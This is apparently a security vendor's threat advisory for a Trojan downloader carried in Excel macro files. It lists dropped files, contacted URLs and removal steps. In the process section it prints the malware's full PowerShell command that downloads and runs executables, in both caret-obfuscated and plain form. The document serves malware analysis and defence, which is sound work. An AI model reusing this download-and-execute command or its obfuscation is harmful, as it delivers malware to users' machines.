Analysis by: Francesca Villasanta
 Modified by: John Rainier Navato
ALIASES:

TrojanDownloader:O97M/Donoff (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 77,312 bytes
File Type: XLS, XLSX
Memory Resident: No
Initial Samples Received Date: 06 Sep 2023
Payload: Connects to URLs/IPs, Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\~{18 Random Alphanumeric Characters}.TMP
  • %Application Data%\{5 Random Numbers}.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://{BLOCKED}ykyhrou.cz/ama.exe },{http://{BLOCKED}isseny.com/eco.exe })) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
  • powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://{BLOCKED}ykyhrou.cz/ama.exe },{http://{BLOCKED}isseny.com/eco.exe })) { try { $fg = $random.next(0, 61132); $pp = '%Application Data%\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
  • "%System%\ntvdm.exe" -i1

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}zykyhrou.cz/ama.exe
  • http://{BLOCKED}isseny.com/eco.exe

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.681.00
FIRST VSAPI PATTERN DATE: 06 Sep 2023
VSAPI OPR PATTERN File: 18.681.00
VSAPI OPR PATTERN Date: 07 Sep 2023

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Downloader.VBA.TRX.XXVBAF01FF044

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\~{18 Random Alphanumeric Characters}.TMP
  • %Application Data%\{5 Random Numbers}.exe

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.UIOIBEPK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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